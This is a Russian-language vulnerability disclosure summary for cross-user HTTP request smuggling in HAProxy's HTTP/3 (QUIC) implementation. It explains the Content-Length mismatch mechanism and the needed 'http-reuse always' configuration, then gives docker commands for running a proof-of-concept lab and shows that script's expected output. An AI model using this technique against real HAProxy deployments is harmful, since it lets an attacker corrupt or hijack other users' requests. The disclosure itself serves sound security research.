
Одного нулевого QUIC-пакета достаточно, чтобы рассинхронизировать пул бэкенд-соединений HAProxy и протащить HTTP-запросы между несвязанными пользователями — даже пользователями, работающими через совершенно другой фронтенд-протокол.
Полная статья здесь: https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
Уязвимость в реализации HTTP/3 в HAProxy позволяет злоумышленнику отправить HTTP-запрос с заголовком Content-Length, который не соответствует фактическому размеру тела запроса. HAProxy пересылает этот некорректный запрос на бэкенд по HTTP/1.1 с указанным Content-Length, но с нулевым телом. Когда бэкенд отправляет ранний ответ (например, редирект 301) и сбрасывает ожидающее тело из TCP-соединения, он потребляет байты, принадлежащие следующему HTTP-запросу в этом соединении — который может исходить от другого пользователя.
Это приводит к межпользовательскому HTTP request smuggling через пул соединений бэкенда HAProxy.
Затронуто: HAProxy с поддержкой QUIC/H3 (USE_QUIC=1). Протестировано на HAProxy 3.0.18.
Требуемая конфигурация: http-reuse always (не по умолчанию, но часто встречается в продакшене)
Docker Compose с 3 сервисами:
http-reuse always)autoindex on в каталоге /photos, /status возвращает 200# 1. Запустите лабораторную среду (первая сборка HAProxy занимает ~10 минут)
cd poc/
docker compose up -d --build
# 2. Запустите PoC в непрерывном режиме
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. В браузере перейдите по адресу https://<host>:10002/status
# (примите самоподписанный сертификат, используйте --ignore-certificate-errors в Chrome)
# Обновляйте страницу несколько раз. ~50% ответов будут 400 Bad Request.
# 4. Остановите PoC (Ctrl+C). Все ответы браузера вернутся к норме (200).
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
Ожидаемый вывод:
[1] Отправка отравляющего запроса (H3/QUIC)...
-> Получен 301. Соединение с бэкендом помещено в пул с ожидающим сбросом тела.
[2] Ожидание 0.5с для помещения соединения HAProxy в пул...
[3] Отправка запроса жертвы GET /status с ОТДЕЛЬНОГО QUIC-соединения...
-> Ответ: HTTP 400
[!] SMUGGLING ПОДТВЕРЖДЁН
[!] Жертва на отдельном соединении получила 400 вместо 200
[!] Бэкенд интерпретировал запрос жертвы как тело отравляющего POST